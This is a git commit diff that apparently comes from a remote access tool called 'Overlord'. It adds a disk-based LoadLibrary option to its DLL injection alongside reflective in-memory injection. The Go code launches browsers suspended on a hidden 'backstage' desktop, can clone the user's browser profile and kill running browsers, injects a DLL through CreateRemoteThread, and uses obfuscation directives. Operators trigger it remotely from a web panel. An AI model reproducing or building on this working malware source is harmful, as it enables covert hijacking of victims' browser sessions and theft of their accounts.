add option for on disk.

This commit is contained in:
KingKDot
2026-08-19 11:59:58 -05:00
parent 9e0a7b653d
commit bcc8e89495
7 changed files with 220 additions and 35 deletions
@@ -4,11 +4,11 @@ package capture
import "errors" import "errors"
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int, method string) (uint32, error) {
return 0, errors.New("backstage injection not supported on this platform") return 0, errors.New("backstage injection not supported on this platform")
} }
func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error { func StartbackstageChromeInjected(chromePath string, dllBytes []byte, method string) error {
return errors.New("backstage injection not supported on this platform") return errors.New("backstage injection not supported on this platform")
} }
@@ -16,7 +16,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
type DXGIStatusFunc func(success bool, gpuPID uint32, message string) type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
type LaunchStatusFunc func(step string, success bool, detail string) type LaunchStatusFunc func(step string, success bool, detail string)
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, method string, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
return errors.New("backstage injection not supported on this platform") return errors.New("backstage injection not supported on this platform")
} }
@@ -3,7 +3,9 @@
package capture package capture
import ( import (
"crypto/sha256"
"encoding/binary" "encoding/binary"
"encoding/hex"
"fmt" "fmt"
"log" "log"
"os" "os"
@@ -47,6 +49,28 @@ type LaunchStatusFunc func(step string, success bool, detail string)
var backstageDXGIStatusCallback atomic.Value var backstageDXGIStatusCallback atomic.Value
// InjectionMethod selects how the backstage DLL is injected into the target
// process.
type InjectionMethod string
const (
// InjectionMethodReflective uses the reflective loader injected via
// CreateRemoteThread. The DLL never touches disk.
InjectionMethodReflective InjectionMethod = "reflective"
// InjectionMethodLoadLibrary stages the DLL to a temp file and injects it
// with CreateRemoteThread + LoadLibraryW.
InjectionMethodLoadLibrary InjectionMethod = "loadlibrary"
)
func normalizeInjectionMethod(method string) InjectionMethod {
switch strings.ToLower(strings.TrimSpace(method)) {
case "loadlibrary", "loadlibraryw", "disk":
return InjectionMethodLoadLibrary
default:
return InjectionMethodReflective
}
}
const ( const (
PROCESS_CREATE_THREAD = 0x0002 PROCESS_CREATE_THREAD = 0x0002
PROCESS_QUERY_INFORMATION = 0x0400 PROCESS_QUERY_INFORMATION = 0x0400
@@ -59,6 +83,7 @@ const (
MEM_COMMIT = 0x1000 MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000 MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x04
PAGE_EXECUTE_READWRITE = 0x40 PAGE_EXECUTE_READWRITE = 0x40
INFINITE_WAIT = 0xFFFFFFFF INFINITE_WAIT = 0xFFFFFFFF
@@ -166,7 +191,8 @@ func enableDebugPrivilege() {
// StartbackstageProcessInjected starts a process suspended on the backstage desktop, // StartbackstageProcessInjected starts a process suspended on the backstage desktop,
// injects the reflective DLL, then resumes it. // injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks. // searchPath/replacePath are passed as environment variables for the DLL hooks.
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { // method selects the injection technique: "reflective" (default) or "loadlibrary".
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int, method string) (uint32, error) {
if filePath == "" { if filePath == "" {
return 0, fmt.Errorf("empty file path") return 0, fmt.Errorf("empty file path")
} }
@@ -181,6 +207,7 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath,
searchPath: searchPath, searchPath: searchPath,
replacePath: replacePath, replacePath: replacePath,
display: display, display: display,
method: method,
}, 30*time.Second) }, 30*time.Second)
if err != nil { if err != nil {
return 0, err return 0, err
@@ -188,7 +215,7 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath,
return result.pid, result.err return result.pid, result.err
} }
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, method string, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
if onDXGIStatus != nil { if onDXGIStatus != nil {
backstageDXGIStatusCallback.Store(onDXGIStatus) backstageDXGIStatusCallback.Store(onDXGIStatus)
} }
@@ -235,7 +262,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
if !clone { if !clone {
notify("launch", true, "starting without profile cloning") notify("launch", true, "starting without profile cloning")
pid, err := StartbackstageProcessInjected(exePath, dllBytes, "", "", display) pid, err := StartbackstageProcessInjected(exePath, dllBytes, "", "", display, method)
if err != nil { if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err return err
@@ -296,7 +323,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
} }
notify("launch", true, "starting with cloned profile") notify("launch", true, "starting with cloned profile")
pid, err := StartbackstageProcessInjected(exePath, dllBytes, realUserData, cloneDir, display) pid, err := StartbackstageProcessInjected(exePath, dllBytes, realUserData, cloneDir, display, method)
if err != nil { if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err return err
@@ -319,8 +346,8 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
} }
// StartbackstageChromeInjected is kept for backward compatibility. // StartbackstageChromeInjected is kept for backward compatibility.
func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error { func StartbackstageChromeInjected(chromePath string, dllBytes []byte, method string) error {
return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, true, false, true, 0, nil, nil, nil) return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, true, false, true, 0, method, nil, nil, nil)
} }
type browserInfo struct { type browserInfo struct {
@@ -1002,7 +1029,7 @@ func calcDirSize(dir string) int64 {
return total return total
} }
func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string, display int, method string) (uint32, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if filePath == "" { if filePath == "" {
return 0, fmt.Errorf("empty file path") return 0, fmt.Errorf("empty file path")
@@ -1029,19 +1056,20 @@ func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, sea
} }
log.Printf("backstage inject: created suspended process PID %d", pid) log.Printf("backstage inject: created suspended process PID %d", pid)
// Inject the reflective DLL // Inject the backstage DLL
if err := reflectiveInject(hProcess, dllBytes); err != nil { injMethod := normalizeInjectionMethod(method)
if err := injectIntoProcess(hProcess, dllBytes, injMethod); err != nil {
procCloseHandle.Call(hProcess) procCloseHandle.Call(hProcess)
procCloseHandle.Call(hThread) procCloseHandle.Call(hThread)
terminateProcess(hProcess) terminateProcess(hProcess)
procCloseHandle.Call(shmHandle) procCloseHandle.Call(shmHandle)
return 0, fmt.Errorf("DLL injection failed: %v", err) return 0, fmt.Errorf("DLL injection failed: %v", err)
} }
log.Printf("backstage inject: DLL injected into PID %d", pid) log.Printf("backstage inject: DLL injected into PID %d (method=%s)", pid, injMethod)
// The DLL's InstallNtApiHooks has run (reflectiveInject waits for the // The DLL's InstallNtApiHooks has run (injectIntoProcess waits for the
// loader thread). The DLL opened the shared section, so we can release // injector thread to finish, so DllMain already opened the shared section).
// our handle now. // We can release our handle now.
procCloseHandle.Call(shmHandle) procCloseHandle.Call(shmHandle)
procCloseHandle.Call(hProcess) procCloseHandle.Call(hProcess)
@@ -1419,6 +1447,128 @@ func isRDIEnvironmentEntry(entry string) bool {
} }
} }
func injectIntoProcess(hProcess uintptr, dllBytes []byte, method InjectionMethod) error {
switch method {
case InjectionMethodLoadLibrary:
dllPath, err := stageInjectionDLL(dllBytes)
if err != nil {
return fmt.Errorf("failed to stage DLL for LoadLibrary: %v", err)
}
log.Printf("backstage inject: using LoadLibrary injection from %s", dllPath)
if err := loadLibraryInject(hProcess, dllPath); err != nil {
_ = os.Remove(dllPath)
return err
}
// The DLL is fully resident in the target and self-injects into child
// processes from the shared section, so the staged file is no longer
// needed.
_ = os.Remove(dllPath)
return nil
default:
return reflectiveInject(hProcess, dllBytes)
}
}
// stageInjectionDLL writes the DLL bytes to a temp file so it can be loaded
// with LoadLibraryW. The file name is content-addressed so repeat injections
// reuse an existing file.
func stageInjectionDLL(dllBytes []byte) (string, error) {
sum := sha256.Sum256(dllBytes)
hash := hex.EncodeToString(sum[:])
dir := filepath.Join(os.TempDir(), "Overlord", "backstage")
if err := os.MkdirAll(dir, 0700); err != nil {
return "", fmt.Errorf("create staging dir: %w", err)
}
target := filepath.Join(dir, "BackstageInjection-"+hash+".x64.dll")
if st, err := os.Stat(target); err == nil && st.Size() == int64(len(dllBytes)) {
return target, nil
}
tmp := target + ".tmp"
if err := os.WriteFile(tmp, dllBytes, 0600); err != nil {
return "", fmt.Errorf("write staging file: %w", err)
}
if err := os.Rename(tmp, target); err != nil {
_ = os.Remove(tmp)
if st, statErr := os.Stat(target); statErr == nil && st.Size() == int64(len(dllBytes)) {
return target, nil
}
return "", fmt.Errorf("finalize staging file: %w", err)
}
return target, nil
}
// loadLibraryInject uses the classic LoadLibraryW injection: it writes the
// DLL path into the target process and runs LoadLibraryW there via
// CreateRemoteThread. kernel32 is mapped at the same base across processes on
// the same boot, so the local LoadLibraryW address is used for the remote
// thread start routine.
func loadLibraryInject(hProcess uintptr, dllPath string) error {
loadLibAddr := kernel32.NewProc("LoadLibraryW").Addr()
if loadLibAddr == 0 {
return fmt.Errorf("resolving LoadLibraryW failed")
}
log.Printf("backstage inject: LoadLibraryW at 0x%x", loadLibAddr)
pathBytes, err := syscall.UTF16FromString(dllPath)
if err != nil {
return fmt.Errorf("UTF16FromString(%q): %v", dllPath, err)
}
remotePath, _, _ := procVirtualAllocEx.Call(
hProcess,
0,
uintptr(len(pathBytes)*2),
MEM_RESERVE|MEM_COMMIT,
PAGE_READWRITE,
)
if remotePath == 0 {
return fmt.Errorf("VirtualAllocEx failed")
}
var bytesWritten uintptr
ret, _, _ := procWriteProcessMemory.Call(
hProcess,
remotePath,
uintptr(unsafe.Pointer(&pathBytes[0])),
uintptr(len(pathBytes)*2),
uintptr(unsafe.Pointer(&bytesWritten)),
)
if ret == 0 {
return fmt.Errorf("WriteProcessMemory failed")
}
var threadID uintptr
hThread, _, _ := procCreateRemoteThread.Call(
hProcess,
0,
0,
loadLibAddr,
remotePath,
0,
uintptr(unsafe.Pointer(&threadID)),
)
if hThread == 0 {
return fmt.Errorf("CreateRemoteThread failed")
}
waitRet, _, waitErr := procWaitForSingleObject.Call(hThread, 30000)
var exitCode uint32
if ret, _, callErr := procGetExitCodeThread.Call(hThread, uintptr(unsafe.Pointer(&exitCode))); ret != 0 {
log.Printf("backstage inject: remote LoadLibrary thread finished wait=0x%x module=0x%x", waitRet, exitCode)
} else {
log.Printf("backstage inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr)
}
procCloseHandle.Call(hThread)
if waitRet == 0xFFFFFFFF {
return fmt.Errorf("remote LoadLibrary thread wait failed: %v", waitErr)
}
if exitCode == 0 {
return fmt.Errorf("LoadLibraryW failed in remote process")
}
return nil
}
func reflectiveInject(hProcess uintptr, dllBytes []byte) error { func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
loaderOffset, err := findReflectiveLoaderOffset(dllBytes) loaderOffset, err := findReflectiveLoaderOffset(dllBytes)
if err != nil { if err != nil {
@@ -236,6 +236,7 @@ type backstageTask struct {
dllBytes []byte dllBytes []byte
searchPath string searchPath string
replacePath string replacePath string
method string
queuedAt time.Time queuedAt time.Time
resp chan backstageTaskResult resp chan backstageTaskResult
} }
@@ -561,7 +562,7 @@ func ensurebackstageThread() error {
case backstageTaskStartProcess: case backstageTaskStartProcess:
result.pid, result.err = startbackstageProcessOnThread(task.filePath, task.display) result.pid, result.err = startbackstageProcessOnThread(task.filePath, task.display)
case backstageTaskStartProcessInjected: case backstageTaskStartProcessInjected:
result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath, task.display) result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath, task.display, task.method)
case backstageTaskMouseMove: case backstageTaskMouseMove:
result.err = backstageMouseMoveOnThread(task.display, task.x, task.y) result.err = backstageMouseMoveOnThread(task.display, task.x, task.y)
case backstageTaskMouseDown: case backstageTaskMouseDown:
@@ -848,7 +849,7 @@ func backstageTaskDetails(task backstageTask) string {
case backstageTaskStartProcess: case backstageTaskStartProcess:
return fmt.Sprintf("cmd=%q", task.filePath) return fmt.Sprintf("cmd=%q", task.filePath)
case backstageTaskStartProcessInjected: case backstageTaskStartProcessInjected:
return fmt.Sprintf("cmd=%q search=%q replace=%q dllSize=%d", task.filePath, task.searchPath, task.replacePath, len(task.dllBytes)) return fmt.Sprintf("cmd=%q search=%q replace=%q method=%s dllSize=%d", task.filePath, task.searchPath, task.replacePath, task.method, len(task.dllBytes))
default: default:
return "" return ""
} }
+18 -6
View File
@@ -2013,6 +2013,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
searchPath := "" searchPath := ""
replacePath := "" replacePath := ""
display := 0 display := 0
injectionMethod := ""
if payload != nil { if payload != nil {
if v, ok := payload["path"].(string); ok { if v, ok := payload["path"].(string); ok {
filePath = v filePath = v
@@ -2026,16 +2027,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if v, ok := payload["display"].(float64); ok { if v, ok := payload["display"].(float64); ok {
display = int(v) display = int(v)
} }
if v, ok := payload["injectionMethod"].(string); ok {
injectionMethod = v
}
} }
dllBytes := extractDLLBytes(payload) dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 { if len(dllBytes) == 0 {
sendCommandResultSafe(env, cmdID, false, "no DLL provided") sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil return nil
} }
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes)) log.Printf("backstage: start process injected %q search=%q replace=%q display=%d method=%q dllSize=%d", filePath, searchPath, replacePath, display, injectionMethod, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_process_injected", nil, func() { goSafe("backstage_start_process_injected", nil, func() {
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, searchPath, replacePath, display); err != nil { if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, searchPath, replacePath, display, injectionMethod); err != nil {
log.Printf("backstage: injected process failed for %q: %v", filePath, err) log.Printf("backstage: injected process failed for %q: %v", filePath, err)
} }
}) })
@@ -2044,20 +2048,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
case "backstage_start_chrome_injected": case "backstage_start_chrome_injected":
payload, _ := envelope["payload"].(map[string]interface{}) payload, _ := envelope["payload"].(map[string]interface{})
chromePath := "" chromePath := ""
injectionMethod := ""
if payload != nil { if payload != nil {
if v, ok := payload["path"].(string); ok { if v, ok := payload["path"].(string); ok {
chromePath = v chromePath = v
} }
if v, ok := payload["injectionMethod"].(string); ok {
injectionMethod = v
}
} }
dllBytes := extractDLLBytes(payload) dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 { if len(dllBytes) == 0 {
sendCommandResultSafe(env, cmdID, false, "no DLL provided") sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil return nil
} }
log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes)) log.Printf("backstage: start chrome injected path=%q method=%q dllSize=%d", chromePath, injectionMethod, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_chrome_injected", nil, func() { goSafe("backstage_start_chrome_injected", nil, func() {
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes); err != nil { if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, injectionMethod); err != nil {
log.Printf("backstage: chrome injected failed: %v", err) log.Printf("backstage: chrome injected failed: %v", err)
} }
}) })
@@ -2071,6 +2079,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
cloneLite := false cloneLite := false
killIfRunning := false killIfRunning := false
display := 0 display := 0
injectionMethod := ""
if payload != nil { if payload != nil {
if v, ok := payload["browser"].(string); ok { if v, ok := payload["browser"].(string); ok {
browser = v browser = v
@@ -2090,6 +2099,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if v, ok := payload["display"].(float64); ok { if v, ok := payload["display"].(float64); ok {
display = int(v) display = int(v)
} }
if v, ok := payload["injectionMethod"].(string); ok {
injectionMethod = v
}
} }
dllBytes := extractDLLBytes(payload) dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 { if len(dllBytes) == 0 {
@@ -2100,7 +2112,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no browser specified") sendCommandResultSafe(env, cmdID, false, "no browser specified")
return nil return nil
} }
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes)) log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d method=%q dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, injectionMethod, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_browser_injected", nil, func() { goSafe("backstage_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc var onProgress capture.CloneProgressFunc
@@ -2137,7 +2149,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Detail: detail, Detail: detail,
}) })
} }
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil { if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, display, injectionMethod, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
log.Printf("backstage: browser injected failed for %q: %v", browser, err) log.Printf("backstage: browser injected failed for %q: %v", browser, err)
} }
}) })
+23 -11
View File
@@ -202,6 +202,13 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") { if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") {
killIfRunningToggle.checked = settings.killIfRunning; killIfRunningToggle.checked = settings.killIfRunning;
} }
const injectionMethodSelect = document.getElementById("backstageInjectionMethod");
if (injectionMethodSelect && typeof settings.injectionMethod === "string") {
const allowed = ["reflective", "loadlibrary"];
if (allowed.includes(settings.injectionMethod)) {
setSelectValue(injectionMethodSelect, settings.injectionMethod);
}
}
applySavedDisplay(); applySavedDisplay();
} }
@@ -222,9 +229,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false, cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true, cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true, killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
injectionMethod: readInjectionMethod(),
}; };
} }
function readInjectionMethod() {
return document.getElementById("backstageInjectionMethod")?.value || "reflective";
}
applySharedSettings(await loadSharedUiSettings("backstage")); applySharedSettings(await loadSharedUiSettings("backstage"));
// Interactive input is intentionally session-scoped: opening any client's // Interactive input is intentionally session-scoped: opening any client's
// page must require the operator to opt in again, regardless of saved UI // page must require the operator to opt in again, regardless of saved UI
@@ -1830,7 +1842,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
}); });
} }
["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle"].forEach((id) => { ["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle", "backstageInjectionMethod"].forEach((id) => {
const el = document.getElementById(id); const el = document.getElementById(id);
if (el) { if (el) {
el.addEventListener("change", function () { el.addEventListener("change", function () {
@@ -1851,52 +1863,52 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning }); sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-brave") { } else if (action === "start-brave") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning }); sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-edge") { } else if (action === "start-edge") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning }); sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-firefox") { } else if (action === "start-firefox") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning }); sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-opera") { } else if (action === "start-opera") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning }); sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-operagx") { } else if (action === "start-operagx") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning }); sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-vivaldi") { } else if (action === "start-vivaldi") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning }); sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-yandex") { } else if (action === "start-yandex") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning }); sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-waterfox") { } else if (action === "start-waterfox") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning }); sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-arc") { } else if (action === "start-arc") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning }); sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-custom") { } else if (action === "start-custom") {
hideContextMenu(); hideContextMenu();
showCustomExeModal(); showCustomExeModal();
+7
View File
@@ -264,6 +264,13 @@
<input type="checkbox" id="backstageKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" /> <input type="checkbox" id="backstageKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Kill browser if running</span> <span class="text-xs text-slate-300">Kill browser if running</span>
</label> </label>
<label class="flex items-center justify-between gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
<span class="text-xs text-slate-300">Injection method</span>
<select id="backstageInjectionMethod" class="bg-slate-800 border border-slate-700 rounded px-1.5 py-0.5 text-xs text-slate-200 focus:outline-none focus:border-violet-500">
<option value="reflective">Reflective (in-memory)</option>
<option value="loadlibrary">LoadLibrary (disk)</option>
</select>
</label>
<div class="my-1 border-t border-slate-700/60"></div> <div class="my-1 border-t border-slate-700/60"></div>
<!-- Shells --> <!-- Shells -->
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Shells</div> <div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Shells</div>
@@ -1405,6 +1405,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
replace_path: String(payload.replace_path || ""), replace_path: String(payload.replace_path || ""),
dll: dllData, dll: dllData,
display: state.display ?? 0, display: state.display ?? 0,
injectionMethod: String(payload.injectionMethod || ""),
}; };
sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload); sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload);
break; break;
@@ -1420,6 +1421,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
path: String(payload.path || ""), path: String(payload.path || ""),
